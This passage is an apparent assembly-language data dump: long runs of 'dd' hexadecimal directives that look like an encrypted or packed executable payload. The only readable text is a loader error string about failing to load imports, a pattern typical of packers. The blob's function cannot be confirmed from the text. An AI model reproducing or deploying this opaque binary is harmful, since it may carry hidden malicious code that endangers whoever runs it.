0CB5E328Eh, 4EC88029h dd 0DA255F8Dh, 0FE5A742h, 0B90A63Fh, 0A0761371h, 0EBA5710Bh dd 0B80C65Fh, 54CD5D71h, 0A8710B80h, 0F977E23Dh, 0DA5434Eh dd 0BE828053h, 2E998DE3h, 5CBC7A52h, 0EF7A6F0Eh, 983119D3h dd 0E4770E5Eh, 0E93FB71h, 0DE078C67h, 7AE9D760h, 687D6F94h dd 79F7FC9Dh, 0CF16A410h, 67B34160h, 4820E6DFh, 83E95h dd 53542700h, 26CBA83Dh, 0B039DFA2h, 0A549DCh, 9318F94Ch dd 92C877FDh, 0D90F4FDh, 0B104486Dh, 278ADEE3h, 9839AF50h dd 19910A1Eh, 5DEF7105h, 8C6C019Eh, 8864616Bh, 1856543Fh dd 11EF7230h, 0FEDC075h, 0E04D1FEAh, 17FAEE13h, 8B457D86h dd 0BEF26BFh, 71CF9A71h, 48266E19h, 0CEB9D628h, 0D492796Eh dd 6A74B1Ah, 1CD182AAh, 984F710Bh, 65A98BF0h, 63FC4C06h dd 0D9710B1Ch, 34BD5F32h, 0D6BB3154h, 28BC45h, 710B1C83h dd 0E1991F67h, 0A4EC7427h, 753DEA05h, 1B4E1EA3h, 0BD56F28Ch dd 3710AF2h, 2BF0D854h, 89710AF2h, 1BEAA4C2h, 0C35C4C75h dd 75710AF2h, 194C1CA1h, 20C9AB06h, 0DA563DA8h, 0A95223B6h dd 1A9F7C11h, 3126CE9Eh, 45710AF3h, 92633B6Fh, 0D9BC5169h dd 0A13458D4h, 0D9932FD4h, 0AF2D871h, 3BB12471h, 0F33E8B53h dd 0A276710Ah, 15E64B1Dh, 9116F9ECh, 9FC37FF7h, 22764E3Fh dd 62668B68h, 0C1713D45h, 37DE20E8h, 58F08E15h, 710BE4BAh dd 4215AD38h, 0BE2932B8h, 0DBB30992h, 0DDE6885Dh, 88A0DE8Bh dd 710B840Fh, 2A02FE6Dh, 1D6C67C4h, 0FEFA2E12h, 270B44E6h dd 191E1h, 5E011200h, 1A0AB5A9h, 68D7ADB2h, 47E39F1Dh dd 7511BE65h, 93720CDBh, 95FBFCh, 9600486Dh, 937A23F7h dd 1298712h, 0EE4A22A6h, 731246FAh, 3F9FE92h, 4866876Eh dd 2821BA8Eh, 29FF5C9h, 2856F8DDh, 8E47383h, 0F9FE9164h dd 8B0D8EFh, 981DF144h, 658A6DF0h, 2FB9267h, 0EAE2496Eh dd 44267742h, 17D189A7h, 3F259A33h, 0F573E683h, 32C59DC1h dd 0A34ADF8Dh, 0FDEF14FAh, 0AB651DE8h, 3F26069Fh, 11EF7A83h dd 21CBF79h, 0F09D6375h, 1428B314h, 94630258h, 0C1E7AF18h dd 0C25BEFA9h, 3E833EF3h, 0D993CDABh, 0E75D6634h, 3EF34EC7h dd 0A127B283h, 0D6B63BDCh, 0B3CFE991h, 3EF3F297h, 0D2762983h dd 733B3FD5h, 0AE3D1490h, 3FC0573Ah, 0E861C983h, 54833FC6h dd 0FE432B81h, 0F3F89019h, 44FE6DB1h, 3FC66BE4h, 0AE0AD183h dd 0DDB334DBh, 881A963h, 38833FC7h, 0EA715055h, 0E0E811E7h dd 937A0FE5h, 2BC7A12h, 3FC6AD26h, 0E8441383h, 0F9B1375Fh dd 3FC6B051h, 0B590C83h, 41D6CFA6h, 0B2725172h, 0E14C26EDh dd 0DEF721Ah, 0CEF6E4E4h, 721AEB9Ah, 0F24E1B4Dh, 91F7F89Fh dd 44DD6D27h, 0B8833F14h, 5B32572Dh, 1428A189h, 0C194833Fh dd 2D55127Ah, 6235EF8Bh, 0C4809663h, 0ECCAEF34h, 0F744D509h dd 8C3911EFh, 8833F0Ah, 0AD40255Dh, 75D8AC08h, 0CC4A02A7h dd 16BFAF0Bh, 279D9FFAh, 0AEC8F098h, 3F84F19Ah, 97650883h dd 28BF9612h, 432A3FA4h, 0F6812EA2h, 0FC6ABEF8h, 3A75120Dh dd 0A17213AFh, 0E0E80DE0h, 1B4E1EE5h, 4429E39Dh, 8227F4B1h dd 0B4309FCAh, 2ABE43D1h, 720AAB6Ch, 0D3F8986Bh, 0A1623055h dd 2BBE2ED3h, 107B0C5Ch, 6CAE4D58h, 6D54658Eh, 1EA3741Ah dd 218C1B4Eh, 0F85BA189h, 32D96F0Eh, 0E4B4A374h, 0B3D718FDh dd 108D5535h, 0FA770EB1h, 0B459118Fh, 2866C2E7h, 0F6F79F6Eh dd 0AF94527Ah, 0A0457511h, 70512FD0h, 6235E3E5h, 9BC7377h dd 4F2DA096h, 0D4BBCEAAh, 0E3F290D3h, 0EF7FE0DCh, 4CE72h dd 23C45700h, 0B63BD8ADh, 0A94FD2h, 9015F94Ch, 638869FCh dd 258876Dh, 0BD00446Dh, 21B4D8DDh, 573AAE53h, 8A93FC0h dd 1621BA8Eh, 0ED9F7105h, 6785F00Eh, 0FAD1FF4Bh, 45287511h dd 9EB70DB2h, 0DB7981CBh, 29710BD2h, 0ABB1A7EBh, 0A4936A2Fh dd 0DFh, 8E6C01D7h, 6EF5FA9Dh, 0EFEDBA92h, 10E7770Eh, 1DE8FDEFh dd 9B1CF356h, 8BC3CDFh, 3DA7BAA5h, 0FA842347h, 487102h dd 841D2D45h, 0F8770E57h, 37E8866Dh, 6F1BC08Ah, 0C6621CC7h dd 770EB44Dh, 0E4824B3h, 0EB4993Ah, 0D68A1777h, 4D4B5BB8h dd 0EE7315E0h, 17C8E607h, 5231C0D0h, 6B7FF561h, 0B738D8ADh dd 8B34B0D5h, 0DC7E301h, 77119A78h, 15B69612h, 0C770E15h dd 145DF652h, 0CCA3770Eh, 81C48429h, 0F067BE3Ah, 0A5623598h dd 0A74828D5h, 0B3D5A025h, 6A054BD6h, 42E68020h, 770E14A5h dd 5B2A4413h, 0D5B533B4h, 923EB063h, 84B06F5Fh, 65830028h dd 595B770Eh, 0DFB75635h, 0ABD562DEh, 6FBB750Dh, 770EE5F6h dd 67219F4Ah, 0EE526C3h, 8310F577h, 34A3827Eh, 0B1BD50h dd 1C00000h, 916A2B5Eh, 0E5F20B9h, 0A8C99C77h, 0AD0B8FA0h dd 41797702h, 11824BE9h, 6A62E975h, 9EF2F387h, 4BDFAAD1h dd 710B84D2h, 0C1E6BB2Eh, 9A6E2250h, 0A14462C9h, 29BC2CD1h dd 0B85B1553h, 0E34EAADDh, 9EAE0A33h, 710B04F9h, 15C6E077h dd 75B2FC57h, 8E9AD4C4h, 710B3215h, 6800FC6Bh, 0D29AD0C0h dd 0DE023EA5h, 710DC2DAh, 41BD9Fh, 0F03E0000h, 0E3476389h dd 770EF06Ah, 0E44903D6h, 0B2FD9314h, 0B5952DCBh, 770EF148h dd 7127A134h, 0F0FA93B7h, 9346770Eh, 0B0983515h, 764E770Eh dd 0D0A24322h, 9BE24D2Bh, 78C5651Dh, 0E4770EB0h, 2A601371h dd 472AA243h, 2E590FB0h, 1D2D4563h, 75120047h, 0EC65C5C5h dd 50710BE0h, 86AE3E85h, 710BE109h, 0E3F51907h, 936A3DD9h dd 4396h, 85F02100h, 0D8BA4B67h, 0F1B55D3h, 7511FF7Dh dd 0B26464F3h, 0AD4D3ED3h, 0E7C7BD08h, 710BDF6Ah, 8D6D00A6h dd 0CEADA5A2h, 1FEAF043h, 6F499DA1h, 9369C755h, 0F212h dd 9AAE6800h, 710B6A01h, 970CE87Fh, 2AA2432Ah, 7109B247h dd 0F0FA93B7h, 4046770Eh, 0EF06FE8h, 0B31ECD77h, 25C85535h dd 9265C880h, 7A82556Dh, 0D021F71Bh, 0B25A2E8Ah, 770E4AB5h dd 394D28CFh, 3B32B866h, 40FE9279h, 52F6CAADh, 770EEEB9h dd 6FC55007h, 0E68A731Ah, 0A4127AC1h, 318F34C1h, 0C5FDFB86h dd 120C5765h, 0AEEC575h, 1BE6E3E5h, 0E108CB75h, 0F7D4427Fh dd 632E9917h, 0B9732D45h, 0B80F891h, 1B914471h, 9311E33h dd 334F1A6Fh, 5034BD52h, 0EC872CCDh, 0E6D94A04h, 0E4DC31D9h dd 4D000001h, 0F65B09AEh, 65C89C25h, 977A6E93h, 7EAFEFFh dd 0A91B4972h, 5257386Eh, 26C7AB3Eh, 0B43DDFA2h, 5AA4DD0h dd 0D0783E47h, 71051337h, 2A70F385h, 4528BC45h, 823DDEB2h dd 0C446EF73h, 0B9A23B6Dh, 4B1E770Eh, 4C23C2FCh, 535424ABh dd 1C2B1D5h, 8A668B6Ch, 1A54523Dh, 11FF7C0Eh, 6567F275h dd 0BDF40DDh, 981DF071h, 6B906DF0h, 5084B861h, 3D61DFE6h dd 6A41213Bh, 0DCDE93h, 2A590000h, 472AA243h, 0B75F09B2h dd 770EF5BAh, 0CE8223CAh, 6EB947Bh, 317616FDh, 2EF06246h dd 33446D03h, 21A49707h, 0A4C2A94Eh, 7BF92AF3h, 0A71D87AEh dd 963341E9h, 0C2A17511h, 33C58831h, 3C8BDE8Eh, 8E741FA8h dd 0C085C7ECh, 0B222D3BFh, 590A549h, 0FE97B36Dh, 42710B92h dd 0CB5F1997h, 6F092DB5h, 7B0AA433h, 0C17F6D96h, 25A7482Ch dd 0A54A2DA0h, 0A7CAA623h, 6C44D1D2h, 7FD43DCh, 47D2B977h dd 7919B9F8h, 0D2BAE6D9h, 0D63Fh, 3BBC5F00h, 8E33C055h dd 18A177DAh, 0E80DE174h, 7B8011E4h, 0A609F15h, 0A5085C65h dd 29BCD0D5h, 5F22A64Bh, 5137B8h, 1229A286h, 0E5977105h dd 0BC452A06h, 67E04802h, 0D5770EF0h, 73C6AA06h, 0CB751B9Ch dd 3953583Ah, 525739ACh, 47015DD6h, 0EF06AE3h, 4C03D677h dd 0DAAF05AEh, 77DAB233h, 0B0631FA0h, 0C1A5BFC4h, 0FA8E6A04h dd 8A24C2CDh, 993216D0h, 0E7770DFAh, 4BD4F470h, 96750748h dd 0CCD34CDCh, 95657105h, 326D7810h, 7DE8C9A7h, 36EF866Bh dd 5B0E5E5Fh, 623598CCh, 4DE30B5Dh, 0A347EA41h, 6E01598Dh dd 0DFB61B49h, 2ACDA0DEh, 9D7EC385h, 59F18914h, 17F941C0h dd 0BBD3A93Ch, 2FB93ED6h, 24488A4h, 0B3064A6Bh, 5CB1DBDCh dd 3, 2A8003E7h, 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h dd 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68241489h, 0DCAh dd 50241C89h, 405E089h, 83000000h, 48704E8h, 34895C24h dd 0D2C36824h, 1C8B0609h, 4C48324h, 6D0368h, 24248900h dd 4240483h, 8B8505Eh, 1000000h, 0B951F0h, 1000000h, 591989C1h dd 2434FF58h, 4C4815Eh, 0FF000000h, 815B2434h, 4C4h, 9D83E900h dd 0C616FFF9h, 5534F5ECh, 0DF70B82Fh, 0C5030609h, 318FE0FFh dd 0EC6A5A70h, 0E9DE4C16h, 45562CE1h, 344F7053h, 7CBA45D8h dd 183F66A6h, 0C2541E3Fh, 0EE5B2B83h, 177D1A21h, 5BCB6721h dd 89335EA2h, 0C83A1AC3h, 4AED7DDDh, 5FBF56A2h, 697F13E5h dd 0AEF8219Ah, 6A4B6215h, 251F5582h, 0FDCB0ED4h, 2F957453h dd 0FC2469D1h, 0AA8F4AA2h, 0B7312DB2h, 27E955A9h, 50000001h dd 0AC73765Bh, 154EEFh, 41000000h, 7245206Eh, 20726F72h dd 20736168h, 7275636Fh, 20646572h, 6C696877h, 6F6C2065h dd 6E696461h, 6D692067h, 74726F70h, 0AC370073h, 5CEB77E7h dd 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h, 777E6h, 5 dup(0) dd 0A5FD0000h, 77E7h, 2Bh dup(0) dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 761B8F96h dd 13113416h, 7B35B11Ch, 66423104h, 35722B61h, 77A9F29Eh dd 0EF883211h, 65534790h, 0F7BFBF13h, 991737A5h, 0E5D069C6h dd 65552FA8h, 71563213h, 77A96145h, 0EF883211h, 65534790h dd 0E6BFBF13h, 991737B8h, 0EDD069C6h, 0C0F9B1D5h, 66243BF5h dd 6601B61Ah, 0E3053215h, 604D9E99h, 0E3AFE2EAh, 60189EA9h dd 0E34EE2EAh, 60471D2Ch, 0DE705A43h, 0D3EEAEBDh, 608B1ADCh dd 15F8B798h, 0B6DD3413h, 6904B79Ch, 0E3053416h, 604DD363h dd 31A7BF45h, 36173BF5h, 6519A7EAh, 0E3833416h, 60213074h dd 66113215h, 49B1B7D3h, 0E013416h, 0E8505B7Ch, 754887EAh dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 601231D4h, 49B1B7D3h dd 0E073416h, 0FA45594Bh, 754887EAh, 0E3053416h, 60470AB2h dd 0E3ABE2EAh, 6018D29Bh, 49B1B7D3h, 0E103416h, 88405A3Ch dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D287h dd 49B1B7D3h, 0E013416h, 0BC420AD7h, 754887EAh, 0E3053416h dd 60470AB2h, 0E3ABE2EAh, 6018D283h, 78198F96h, 69443416h dd 66227790h, 5F94F415h, 238E313Ah, 463AB47Dh, 3F97CDEFh dd 0EB173106h, 65B09590h, 0EF94CD13h, 6FC2A890h, 5F94F413h dd 2A8E313Ah, 4094F17Dh, 3F97CDF5h, 0EB173106h, 65B09590h dd 0EF94CD13h, 6FC2AC90h, 6651DB13h, 0E34E3215h, 60471D2Ch dd 822F5A47h, 0D3EE8E5Fh, 608B1150h, 5EE3B798h, 0B6DD3416h dd 868BB79Ch, 0E34E341Ch, 60471D2Ch, 2C6A5A47h, 0D3EE9459h dd 608B1150h, 5EE3B798h, 0B6DD3416h, 868FB79Ch, 0E34E341Ch dd 60471D2Ch, 0D2C85A47h, 0D3EECF57h, 608B214Ch, 5EE3B798h dd 0B6DD3416h, 4008B79Ch, 0E34E3416h, 60471D2Ch, 0CE815A62h dd 0D3EEC182h, 608B1F04h, 5EE3B798h, 0B6DD3416h, 7440B79Ch dd 0E34E3416h, 60471D2Ch, 57355A47h, 0D3EEB8C8h, 608B214Ch dd 5EE3B798h, 0B6DD3416h, 7ACCB79Ch, 0E34E3416h, 60471D2Ch dd 0B1B5A43h, 0D3EEE60Ah, 608B1ADCh, 15F8B798h, 0B6DD3413h dd 4808B79Ch, 0E34E3416h, 60471D2Ch, 76585A52h, 0D3EEB3C9h dd 608B214Ch, 5EE3B798h, 0B6DD3416h, 4EBCB79Ch, 0E34E3416h dd 60471D2Ch, 0D3C05A52h, 0D3EEB81Ah, 608B214Ch, 5EE3B798h dd 0B6DD3416h, 86AFB79Ch, 0DB0B341Ch, 604729A4h, 37A63D15h dd 0A0113213h, 65A70B90h, 8F2C7E13h, 99FBE809h, 65026BA0h dd 0C10DBF13h, 9942312Dh, 0CCA7BBC5h, 0A0173BF5h, 65A70B90h dd 0A82C7E13h, 99FF46CBh, 65026BA0h, 0C10DBF13h, 9942312Dh dd 0C8A7BBC5h, 0A0173BF5h, 65A70B90h, 592C7E13h, 9995B397h dd 65026BA0h, 0C10DBF13h, 9942312Dh, 0D4A7BBC5h, 0A0173BF5h dd 65A70B90h, 7E2C7E13h, 99911D55h, 65026BA0h, 0C10DBF13h dd 9942312Dh, 0D4A7BBC5h, 0A0173BF5h, 65A70B90h, 722C7413h dd 9998EC13h, 65026BA0h, 0C10DBF13h, 9942312Dh, 0DCA7BBC5h dd 0A0173BF5h, 65A70B90h, 1C2C7513h, 99A3EE05h, 65026BA0h dd 0C10DBF13h, 9942312Dh, 0A4A7BBC5h, 0A0173BF5h, 65A70B90h dd 0CA2C7513h, 99CDB59Bh, 65026BA0h, 0C10DBF13h, 9942312Dh dd 0A0A7BBC5h, 0A0173BF5h, 65A70B90h, 0B42C7513h, 99F6A8B2h dd 65026BA0h, 0C10DBF13h, 9942312Dh, 0ACA7BBC5h, 0A0173BF5h dd 65A70B90h, 622C7513h, 9998F32Ch, 65026BA0h, 0C10DBF13h dd 9942312Dh, 0A8A7BBC5h, 0E5173BF5h, 6582B7A8h, 46313213h dd 491BB7D3h, 0E563416h, 86FA1F72h, 751D87EAh, 0E3AF3416h dd 60120AB2h, 0E301E2EAh, 604DD2C7h, 491BB7D3h, 0E563416h dd 0E8A181A4h, 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh dd 604DD2C3h, 491BB7D3h, 0E523416h, 0A6FE78B2h, 751D87EAh dd 0E3AF3416h, 60120AB2h, 0E301E2EAh, 604DD2CFh, 491BB7D3h dd 0E5D3416h, 9DEE5EFEh, 4B5587EAh, 0E3AF3416h, 60120AB2h dd 0E301E2EAh, 604DD37Bh, 491BB7D3h, 0E553416h, 0DDFBBC40h dd 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh, 604DD2CBh dd 491BB7D3h, 0E523416h, 0DA065CE9h, 751D87EAh, 0E3AF3416h dd 60120AB2h, 0E301E2EAh, 604DD2F7h, 491BB7D3h, 0E423416h dd 0A0980CBFh, 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh dd 604DD2F3h, 6F338F96h, 69113416h, 6688D291h, 5FC1F415h dd 2024313Ah, 0F0DF037Dh, 3F3DCDEFh, 0EB423106h, 651A9590h dd 0EFC1CD13h, 6F697090h, 5FC1F413h, 2024313Ah, 0C12BE47Dh dd 3F3DCDE9h, 0EB423106h, 651A9590h, 0EFC1CD13h, 6F696090h dd 5FC1F413h, 2024313Ah, 9AB5327Dh, 3F3DCD87h, 0EB423106h dd 651A9590h, 0EFC1CD13h, 6F696490h, 5FC1F413h, 2024313Ah dd 0B25E587Dh, 3F3DCDE3h, 0EB423106h, 651A9590h, 0EFC1CD13h dd 6F696890h, 5FC1F413h, 2024313Ah, 0AB41D57Dh, 3F3DCD81h dd 0EB423106h, 651A9590h, 0EFC1CD13h, 6F697490h, 5FC1F413h dd 2024313Ah, 4465097Dh, 3F3DCDA4h, 0EB423106h, 651A9590h dd 0EFC1CD13h, 6F697890h, 5FC1F413h, 2024313Ah, 1FFBDF7Dh dd 3F3DCDCAh, 0EB423106h, 651A9590h, 0EFC1CD13h, 6F697C90h dd 0E3F9B113h, 6624311Fh, 0E3D71260h, 608B1D2Ch, 861A5A46h dd 0D3DDFCABh, 6012214Ch, 5E2FB798h, 0B6BB3416h, 86C8B79Ch dd 0E3D7341Ch, 608B1D2Ch, 38C35A52h, 0D3DDF5A4h, 6012214Ch dd 5E2FB798h, 0B6BB3416h, 86CCB79Ch, 0DB92341Ch, 608B3890h dd 0A0644715h, 650D0B90h, 63797513h, 996E506Bh, 65576BA0h dd 0C1A7BF13h, 9917312Dh, 940DBBC5h, 0A0423BF5h, 650D0B90h dd 90797113h, 991A481Ch, 65576BA0h, 0C1A7BF13h, 9917312Dh dd 900DBBC5h, 0A0423BF5h, 650D0B90h, 46797113h, 99741382h dd 65576BA0h, 0C1A7BF13h, 9917312Dh, 9C0DBBC5h, 0E5423BF5h dd 6528B7A8h, 26643213h, 49B1B7D3h, 0E073416h, 0ED229A16h dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D317h dd 49B1B7D3h, 0E073416h, 837904C0h, 754887EAh, 0E3053416h dd 60470AB2h, 0E3ABE2EAh, 6018D2EBh, 49B1B7D3h, 0E073416h dd 8C8800F4h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh dd 6018D313h, 49B1B7D3h, 0E073416h, 0E2D39E22h, 754887EAh dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D31Fh, 49B1B7D3h dd 0E0B3416h, 0F117A2C1h, 754887EAh, 0E3053416h, 60470AB2h dd 0E3ABE2EAh, 6018D31Bh, 49B1B7D3h, 0E0B3416h, 9F4C3C17h dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D307h dd 49B1B7D3h, 0E093416h, 0AE154B5Ch, 754887EAh, 0E3053416h dd 60470AB2h, 0E3ABE2EAh, 6018D30Fh, 49B1B7D3h, 0E093416h dd 0BAD57F9Ch, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh dd 6018D303h, 49B1B7D3h, 0E113416h, 0FA391F22h, 754887EAh dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D30Bh, 49B1B7D3h dd 0E073416h, 0B4F7C23Fh, 754887EAh, 0E3053416h, 60470AB2h dd 0E3ABE2EAh, 6018D337h, 49B1B7D3h, 0E163416h, 9B6086FFh dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6012140Ch dd 49B1B7D3h, 0E033416h, 84BA6B8Ch, 754887EAh, 0E3053416h dd 60470AB2h, 0E3ABE2EAh, 6018D333h, 49B1B7D3h, 0E033416h dd 0D7DF52D7h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh dd 6018D33Fh, 49B1B7D3h, 0E033416h, 0B984CC01h, 754887EAh dd 0E3053416h, 60470AB2h dd 0E3ABE2EAh, 6018D33Bh, 49B1B7D3h, 0E1B3416h, 0F872C07Dh dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D327h dd 49B1B7D3h, 0E0B3416h, 0A1DE492Ah, 754887EAh, 0E3053416h dd 60470AB2h, 0E3ABE2EAh, 6018D34Bh, 49B1B7D3h, 0E033416h dd 9C795C59h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh dd 6018D377h, 49B1B7D3h, 0E033416h, 0A52416D8h, 754887EAh dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D373h, 49B1B7D3h dd 0E1B3416h, 0B29952D9h, 754887EAh, 0E3053416h, 60470AB2h dd 0E3ABE2EAh, 6018D323h, 49B1B7D3h, 0E1B3416h, 0F8CB665Bh dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D32Fh dd 49B1B7D3h, 0E1B3416h, 0B7311A5Dh, 754887EAh, 0E3053416h dd 60470AB2h, 0E3ABE2EAh, 6018D32Bh, 66E0367Fh, 0E443205h dd 66222215h, 0F3EE327Fh, 608B3D00h, 4905B79Ch, 0E3AF3416h dd 6018E2A2h, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h dd 699DA7EAh, 0E3CD3416h, 60211060h, 74ACB79Ch, 26E23416h dd 6654327Dh, 66225A15h, 667B3214h, 699DA7EAh, 0E3CD3416h dd 60212DE4h, 757C879Eh, 0FB033416h, 60471AE8h, 474B879Ch dd 0FB983416h, 608B3918h, 4EB9AF9Eh, 6DA93416h, 6911CB96h dd 6682ED91h, 6156215h, 0E3ABF226h, 601220B8h, 66880EABh dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h, 18CF1231h dd 0E79FBB0Dh, 0E3173135h, 6C0D3DEAh, 8E443215h, 6622231Bh dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 6538C780h, 0E155813h dd 66882215h, 99445847h, 652D2780h, 3B94BB13h, 0ED8E310Fh dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 49058F9Eh, 0AFA13416h dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 608B20B8h dd 74E9A79Eh, 0F31B3416h, 60121294h, 6682B61Ah, 381E3215h dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 0FFC1F54Dh, 66243111h dd 0A1113215h, 65AC1F90h, 66443213h, 0C09FB115h, 66173BF5h dd 6680B61Ah, 0FBC93215h, 602B7A5Ch, 0E3EEE1EAh, 608B03A4h dd 57F58F96h, 69463416h, 66115097h, 0D70DF515h, 67423124h dd 6223215h, 876F8798h, 0DB05341Ch, 604DCFFCh, 0B1A9CC3Eh dd 49508F9Eh, 0AF0B3416h, 0EC8401EAh, 20E30013h, 0A796369Eh dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 65966790h dd 71C03D13h, 0E5223215h, 653DEFA8h, 0E3873213h, 6644321Fh dd 6443B7D2h, 66103416h, 0DFE93215h, 63494692h, 79403EAFh dd 0D3989F60h, 608B137Ch, 66B874D2h, 5B223215h, 88FFDCFBh dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah, 604F3215h dd 66443215h, 0EF26F496h, 65305BA0h, 6E71DB13h, 0BECF3215h dd 6443B726h, 0AED03416h, 0A74A1916h, 0A77722D5h, 6443AF9Ch dd 662C3416h, 69883315h, 66447796h, 0DD1CB315h, 69AA89AEh dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 608B137Ch dd 4EB9AF9Eh, 6DA93416h, 0ED71E29Eh, 0F70D19D7h, 0A7423113h dd 0E32130F5h, 60121E38h, 0A78B9F83h, 7A60769Ch, 665EDB74h dd 34403215h, 0F303FB26h, 60472848h, 0E22D302Eh, 6611322Dh dd 278CF096h, 46C5BF2Eh, 0E32D3416h, 99EECDFDh, 86EB8798h dd 0DBC9341Ch, 60213F10h, 69D1B6B9h, 66883491h, 97AD9815h dd 0DEDDCDEAh, 66113215h, 2B94BF98h, 87BB3416h, 748FBF9Ch dd 3F4B3416h, 9B15B943h, 0ED42313Dh, 0CBA7B91Eh, 0B7173107h dd 0C70D31F5h, 55423136h, 0CB44A4E3h, 6513D2D4h, 65A41F90h dd 65E9A413h, 0DBA16CD4h, 60121B20h, 5F0C3D14h, 5D443215h dd 65316B98h, 4B953D13h, 5D883215h, 65692398h, 47A63D13h dd 5D113215h, 65894798h, 73C03D13h, 0EB223215h, 6FE4F388h dd 0ED5BCD13h, 0EFC1BBEDh, 8F243124h, 661134A1h, 9349AF98h dd 0B5BB341Ch, 4F178F96h, 69113416h, 66882F91h, 2FC10915h dd 69243104h, 66113E91h, 0EF0D0915h, 69423106h, 66223790h dd 99A8DB15h, 0E3B3CDEAh, 604731D4h, 663AB71Ah, 0DB923215h dd 608B2C84h, 6DC13D15h, 0EB223215h, 6FAD1E90h, 991DDB13h dd 0E37FCDEAh, 602131D4h, 9998B61Ah, 0DB0BCDEAh, 604DD24Ah dd 71A73D14h, 5D113215h, 6F688C90h, 6DC13D13h, 0EB223215h dd 3EF79290h, 99E5DB15h, 9977CDEAh, 7D938F96h, 69113416h dd 668B5591h, 0CCC10915h, 13243BF5h, 1B94B912h, 218E3124h dd 86F6B72Eh, 6157341Ch, 7C8CB79Eh, 5DCF3416h, 6FA49C90h dd 0ED254713h, 6537AB90h, 0E3B37513h, 604DD2A3h, 0E3A93560h dd 60121214h, 0DC0D0952h, 13423BF5h, 27A7B912h, 21173102h dd 8636B72Eh, 6131341Ch, 6A6BB79Eh, 5D563416h, 6F68F090h dd 0ED434713h, 650E0B90h, 0E32A7513h, 6081D2D3h, 0E3CF3560h dd 60211868h, 0AC940952h, 138E3BF5h, 0D3C1B912h, 21243136h dd 86DFB72Eh, 61FD341Ch, 5431B79Eh, 5D653416h, 6FF1E490h dd 0ED8F4713h, 6554D390h, 0E3197513h, 6018D2C7h, 0DB0B2260h dd 60473890h, 0ED254715h, 6530AF90h, 0DB0B7513h, 60473DE4h dd 5D2D4615h, 6FF06C90h, 0ED8F4713h, 6553AF90h, 0DBA17513h dd 60123B04h, 0E5FA4615h, 656A0FA8h, 0F563213h, 8753B72Eh dd 61FD341Ch, 5615B79Eh, 5D653416h, 6FF06090h, 0ED8F4713h dd 655EBF90h, 0E3197513h, 6018D353h, 0E3033560h, 60473AA4h dd 30A70952h, 13173BF4h, 0D30DB912h, 21423133h, 8778B72Eh dd 6164341Ch, 6C11B79Eh, 5D033416h, 6FC37890h, 0ED164713h dd 65A42F90h, 0E37F7513h, 602BD35Bh, 0E39A3560h, 608B19ECh dd 5BF9B152h, 6624313Bh, 641BB61Ah, 0E3B33215h, 604DD2CFh dd 0E3A93560h, 60123DDCh, 80D0952h, 13423BF4h, 17A7B912h dd 2117310Fh, 8656B72Eh, 6131341Ch, 6983B79Eh, 5D563416h dd 6F68D090h, 0ED434713h, 65235B90h, 0E32A7513h, 6081D2F3h dd 0E3CF3560h, 60213E14h, 8C940952h, 138E3BF5h, 0E3F9B105h dd 6624311Fh, 0E39A3560h, 608B2074h, 88C10952h, 13243BF5h dd 4F94B912h, 218E3106h, 86B6B72Eh, 7657341Ch, 6C948F96h dd 13883416h, 0C7C1B912h, 21243135h, 86E7B72Eh, 61FD341Ch dd 4679B79Eh, 5D653416h, 6FF1C890h, 0ED8F4713h, 65466390h dd 0E3197513h, 6018D317h, 0DB0B2260h, 60473890h, 0ED254715h dd 6500BB90h, 0E3B37513h, 604DD2EBh, 0DBA12260h, 60123890h dd 0ED8F4715h, 6556EB90h, 0E3197513h, 6018D313h, 0E3033560h dd 6047025Ch, 6CA70952h, 13173BF4h, 330DB912h, 2142313Fh dd 872CB72Eh, 6164341Ch, 74F5B79Eh, 5D033416h, 6FC32090h dd 0ED164713h, 658DEB90h, 0E37F7513h, 602BD303h, 0E39A3560h dd 608B03F0h, 7CC10952h, 13243BF4h, 8F94B912h, 218E3125h dd 875AB72Eh, 6157341Ch, 7460B79Eh, 5DCF3416h, 6FA51090h dd 0ED254713h, 6503CB90h, 0E3B37513h, 6047140Ch, 0E3A93560h dd 60122994h, 400D0952h, 13423BF4h, 97A7B912h, 2117313Eh dd 87EAB72Eh, 7F31341Ch, 87488F96h, 1311341Ch, 5335B11Ch dd 6642313Ch, 0E3A93561h, 60122F94h, 0D0952h, 13423BF4h dd 0C9FB10Ch, 66173BF4h, 0DB0B3B60h, 60471B20h, 0ED254615h dd 6510E390h, 0E3B37513h, 604DD33Fh, 0E3A93560h, 60123838h dd 480D0952h, 13423BF4h 